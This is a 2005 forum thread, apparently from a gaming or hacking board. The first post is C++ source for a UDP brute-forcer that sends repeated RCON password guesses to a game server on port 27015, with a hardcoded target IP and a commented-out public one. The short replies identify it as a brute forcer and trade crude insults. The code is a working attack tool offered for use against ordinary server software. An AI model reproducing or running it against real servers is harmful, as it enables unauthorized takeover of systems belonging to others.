Posted August 5, 200519 yr #include <unistd.h> #include <stdio.h> #include <errno.h> #include <string.h> #include <sys/socket.h> #include <resolv.h> #include <arpa/inet.h> #include <string> const string digits = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; const string hoebag = "ÿÿÿÿrcon"; const string quote = " \""; const string quote2 = "\" "; const string auth = " 108462864"; const string hoeassshit = "rcon_password a"; const string dot = "."; void doIncrement(string &s, int curdigit) { int listdigit = digits.find(s[curdigit]); if (listdigit == digits.length()-1) { s[curdigit] = digits[0]; if (curdigit == s.length()-1) s += "0"; else doIncrement(s, curdigit+1); } else s[curdigit] = digits[listdigit+1]; } int main() { struct sockaddr_in addr; int sd, addr_size; string s="0"; if ( (sd = socket(PF_INET, SOCK_DGRAM, 0)) < 0 ) { perror("Socket"); return 0; } addr.sin_family = AF_INET; addr.sin_port = htons(27015); // if(inet_aton("69.12.83.169", &addr.sin_addr) == 0 ) if(inet_aton("10.0.0.1", &addr.sin_addr) == 0 ) { perror("10.1.1.1"); return 0; } while (1){ doIncrement(s, 0); string out = hoebag+auth+quote+hoeassshit+quote2+s; sendto(sd, out.data(), strlen(out.data()), 0, (struct sockaddr*)&addr, sizeof(addr)); cout << s << endl; usleep(1000000); } return 0; }
August 5, 200519 yr Author Looks like a brute forcer with retarded variable names. get a life.... this was for kwolfe... its in the fucking title plus this is from like pre 2000, so just die...